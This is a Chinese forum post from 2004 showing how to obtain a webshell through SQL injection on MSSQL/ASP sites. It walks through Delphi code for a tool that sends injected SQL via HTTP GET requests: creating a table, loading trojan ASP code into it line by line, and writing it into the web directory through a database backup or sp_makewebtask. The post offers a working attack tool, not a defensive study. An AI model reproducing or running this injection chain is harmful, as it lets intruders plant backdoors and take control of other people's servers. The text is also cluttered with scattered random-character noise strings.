数学建模社区-数学中国

标题: SQL注入得到WEBSHELL [打印本页]

作者: 韩冰    时间: 2004-11-21 00:13
标题: SQL注入得到WEBSHELL
<>一.通过SQL注入得到WEBSHELL的原理: 6 `" Y- e5 j& i, W
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。 4 a, `: h- w, V7 k1 ?' M1 @! y
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有&lt;%%&gt;之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释&lt;%%&gt; 之内的语句呢?如果数据库中有的表中有&lt;%%&gt;标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。 4 w+ Z& }  c& e* p0 e, F; ]
再来看看CZY的方法吧。 ; Y8 N4 X, Y  g5 h
CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
' T0 m) K  r1 F# o以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。 - V( n5 Z3 `0 b. @1 Y! z
二.利用DELPHI去实现功能的前言   y/ q. T3 P! p$ `
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。 * @2 {6 a  H( n5 r9 j
$ L- @' n5 f6 n& N- G0 M' E
三.如何利用DELPHI得到WEBSHELL。
. ^. ^. O& @! V+ Q% Z程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。8 p5 t1 I+ Q# I. z6 @% v* k" J
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图: & }, c$ F7 `& z
5 ~. u$ Z6 f3 \+ ?8 p
1 h  B6 {; n3 K0 A* ~4 h: h# f
& I. [( q7 e$ d2 N; @
现在来写程序了。 1 R1 ^7 j0 p- v) [8 F6 p- A
我们首先定义一个RECORD。 1 j9 A8 o  B5 \; M: l) J1 r2 E! j
如下:
& B1 m0 k& {& j3 dType
3 v; Y8 j1 g/ W3 O& E0 [5 USetOption = Record + Y8 B& I8 D$ }2 p$ n
TableName : String; //用来保存要创建的表名.
* V- ^; B+ H  A( }FieldName : String; //用来保存要创建的字段名. , N3 b# F  R! w
FiledType : String; //用来保存创建的字段名类型. . @5 `3 D+ H' S8 o4 y* F- C
End;
9 @5 j! w# J1 y: q0 X" BFiledType字段类型的值是以下类型的一种: ( F# [# l# U) x( u( ?2 |: o
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
) d6 Q; x) o8 b6 f  }. ^/ z: FSmallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值. % N8 k& s7 K' j9 f; g: s* Q9 T
再定义一个全局变量:
, a! j: y* H( n! D: SVar / [, a& `2 U8 n$ }6 j7 Y
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
: Q. F$ Z8 m! V5 T/ x好了。在表单创建的过程中,我们为RECORD记录输入默认值. ) B. j. n- c. g5 I
代码如下: 2 w, j% x+ W, D; o& d8 Z" K( `& R
procedure TMainForm.FormCreate(Sender: TObject);
0 T% ~% [/ A" |begin 1 e& M  ?1 B: M
sOption.TableName :='cyfd' 5 g5 m2 Z6 V5 }8 ]9 G$ ^
sOption.FieldName :='gmemo' ; S  Q, d  W1 g1 F3 g5 S8 u& H
sOption.FiledType :='text'
$ P2 \; @/ @# H4 q0 Nend; 2 a: [+ \, U' F9 ^" q1 a
现在我们添加开始执行命令的代码。
, _+ d% Q$ O( D8 p9 R2 j先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来. 4 s% w' s( c3 W6 e4 j
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用. 3 D' ~& {1 S/ x8 e/ i
在程序开始执行前,我们得先检查一下用户的输入 / t- T% j7 ?7 k; e. y. v5 y
定义一个Checkinput函数. 4 N) P; {9 {$ L+ `+ _0 O; [8 q
如下: % }3 u& A0 c% |# W0 ?" v. @3 w* p
Function CheckInput : Boolean; 9 }( O( ~4 ^8 I; ]: w) O
Begin
# y1 K# j4 R& xResult := False; ) O$ ?( a1 M3 _3 \/ _# p
if Trim(urlet.Text) = '' then . w8 o# N: V3 G5 f  B
Begin
0 h' K8 [7 X# m7 v5 uApplication.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation);
) w" _* C9 S/ IExit;
7 Z8 r9 D4 o2 QEnd; % Q7 ?6 [; W: k
if Trim(ShellPathET.Text) = '' then & r9 p% w, x8 K$ q. A
Begin 4 U3 R1 m7 m" k' e5 j
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
$ Y- @* K, S& b, ]! CExit; . e9 M# I7 T8 T
End; % ]8 ~& m0 J  f8 P' j; K
IF DefBDoor.Checked then   L  t, Y' d$ S  i( R, y' g0 s
Begin $ Y+ U7 e! u5 U' ~0 h
if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then 2 `' t2 W# x/ l) x/ H
Begin
: l, ~. V2 |( q: `& VApplication.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
% m3 D) p9 l/ N9 U. U- YExit;
4 E4 q3 R; ]9 G$ ?End;
- G+ R! E+ Z% P$ f2 n& d3 `End
' u) R7 b  \& o5 b' [# Z- z# P5 Q( ^/ YElse + A3 H- c( j: u! D, z/ u* l
if Not FileExists(CustomBdoorET.Text) then - C) e6 W- d/ r* B; `7 y
Begin
" x% H5 w2 [3 K+ m0 }# j4 YApplication.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation); # k4 A3 X; _) P" F% i
Exit;
$ @  v+ W6 v4 j  o; S6 iEnd;
. `; r- I% M; t$ ^; VResult := True;
8 s( u0 m% n7 [. y2 NEnd; . f; g' T3 ]/ [
在最开始加入: - V; u. F& p" }) S, `
IF Not CheckInput then Exit; //如果输入不合法就退出过程. + e7 i* L4 A( u" Z1 K4 j
好了,如果用户输入没什么错,我们就来下面的代码。
3 C% u' q2 A, Q: n% @首先我们把IsStop设为假。创建BdoorList。 * L) N/ A4 W: _2 _2 q/ E7 @+ E! t
BDoorList := TstringList.Create;   r" n& e8 Z! v) n3 j7 A8 p# d
再加木马内容到BDoorlist. $ i6 L5 s7 u& E& z- B
BDoorList.LoadFromFile(CustomBdoorET.text);
5 n, W& n% N& q3 W4 O好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。 + S; ?" i" }3 E
代码如下: ' |# |4 E2 V4 A4 w0 e2 c
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]); 9 n. A8 [# k* j9 B! N- G: J) }, ~3 ^) Y
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]); - O7 s2 A1 X9 Q0 u/ n+ x
接下来.我们就提交建表的功能了. , Y4 \& T/ Z7 b
Memo.Lines.Add('建表...'); - |+ L7 F7 x$ Y/ @
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
' e9 ]) n$ L7 O: U这样我们就创建了一个表。然后.我们向表中加记录: , I) ~1 b( S$ {! h
代码如下: 9 k" \  P1 o: `4 O  N% |! K0 W
Memo.Lines.Add('加数据...'); 6 f6 g& o' I& x/ k+ D
Memo.Lines.Add('');
1 v1 N8 o0 q+ g4 P0 C: QFor i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去. 2 b" k) S  T% F: d
Begin
) P: o8 l* O! sIF IsStop then //这里如果点了停止按纽程序将终止任务.
' Q! U* c, a* L7 ?3 rBegin
7 G- Y' ~) {; M! T" GBDoorList.Free; , B1 I; s5 ~9 K4 w# N) V' b
Exit; ( U6 C, u+ a8 w3 x" b5 b
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');');
. c7 Q& T4 B$ N- iMemo.Lines.Add('Add Line '+Inttostr(i+1)); ( W2 T6 \  z1 r
End;
/ ^- m' a6 O- m* I  ^现在就是导出数据生成木马了.
4 y5 _* j' x. ?5 p; eMemo.Lines.Add('导出数据...');
' b  i: K8 P9 k- T" qMemo.Lines.Add(''); 1 o1 ~2 p* l2 t! m4 s
IF BKData.Checked then //如果选中采用备份数据就执行下面的命令.
: S; @' x* B: o4 h/ G! }NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''') 3 y3 s2 m; R( F2 v1 @' [" I
Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
) @8 I( C/ s4 l4 k我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];'); $ J" i* d( p0 j/ V
这样我们的任务就完成了。下面来释放变量. % ?; w8 v- X9 L* C: {# E, n
BDoorList.Free;
: z- l) ^% E0 u( J& H0 y再来向停止按纽中添加点击事件: $ U# |3 l# t" [4 s( x
一行代码就行了:IsStop := True;
7 q! c- G4 C0 ^! w到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
+ j9 M. ]) ?$ b! A8 `3 {设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
0 D3 |9 N3 ?" U" b# c第一个名称为:TableNameET //保用户输入的存临时表 + j; ]3 q% ^/ n3 }% n. b
第二个名称为:FieldNameET //用来保存用户输入的字段名.
+ m- K; N) M9 Q" z再添加一个Combobox //用来保存用户所选的字段类型值.
. \, D1 r; A+ v$ W1 x名称:FieldTypeCombox 5 h) V( A: b% f* v# K. z
OK.界面如下: 9 S/ K& H( k8 I# {: e

# c6 }* d& z4 w$ b- `2 W$ v6 d" I+ l代码如下: 5 k0 g' {+ G+ F& J8 V# t$ I
定义一个过程,主表单好调用这个设置。
  O5 W/ ]5 t& {  b9 L: B8 QProcedure ShowSet;
7 X. h1 R5 n$ _Begin * o4 T1 p! g, l! z
Application.CreateForm(TSetForm,SetForm); : {# ~3 E9 D; }9 o' c1 F
With SetForm do
5 q0 J* p& R  Q+ dBegin + S( @. I' ?8 I& c7 N9 n! g$ U/ c
TableNameET.Text := sOption.TableName; + Q. D6 J/ H" G+ ~8 U+ v
FieldNameET.Text := sOption.FieldName;
* ], i5 B: q* e( N- C& ~FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType); 4 }8 _% t4 I1 |* a
End;
) M% Y+ X: D* MSetForm.ShowModal; " s% I$ r2 S: M) ^
SetForm.Free;
- ^; o! F/ O7 |% P5 D+ q+ iEnd; ' e6 ~7 C% i) Q! H  @2 k/ A
在主表单中设置的点击事件中添加上showset过程就行了。 % n" a* N. F7 u+ v! o
下面就是点击确定的代码了。 0 B7 j9 C* Z: O2 |* l0 M
IF CheckInput then $ ~" W, n( ^1 [
Begin
0 h0 v& z& U) T! T$ JsOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
3 X% G% _7 D" l4 csOption.FieldName := Trim(FieldNameET.Text);
; C/ F' W5 q8 D2 ]- FsOption.FiledType := FieldTypeCombox.Text;
3 m1 s- _. `& s% j- T; hClose; ( b0 F, b: l' |! C. _! h
End;
8 f( m1 N0 p9 w5 S* m# x2 F  h9 b5 {这里又有一个CheckInput主要就是检查用户输入的值是不是合法。 / `" v9 L+ \4 q9 U7 h, I
代码如下:
! R% Y. f& m9 p; t+ a/ NFunction CheckInput : Boolean; - S+ w) G3 V. F8 B% G! s! B- y
Begin
* c% t+ Q' c3 [# Q. u9 ]* oResult := False; 1 L# i4 ^# W8 P* c
IF Trim(TableNameET.Text)='' then 2 j1 w; n4 ~# T- k, P3 s) N8 G
Begin
, |" D7 G+ g% T9 h* W" N: b+ {" ]Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation);
, N5 E" `6 j  H/ Z" tExit; + N- B9 b- E1 `5 N: k) ?, V' u
End;
6 l# f2 r3 o# ~; G& u) {. DIF Trim(FieldNameET.Text)='' then 6 S3 e# t; q$ W  e4 X; P
Begin
: W  p4 [2 ^. W2 t3 aApplication.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation);
# l9 T" A; j* L+ N6 D' j& ~Exit; ' G8 k% {! F2 d- F" n! y+ p0 H
End;
/ _5 i. S% u8 ]/ JResult := True;
% z  I3 o* F6 f( C6 qEnd; 7 d+ q, w4 z; P& x, S
到这里程序就完了。</P>




欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5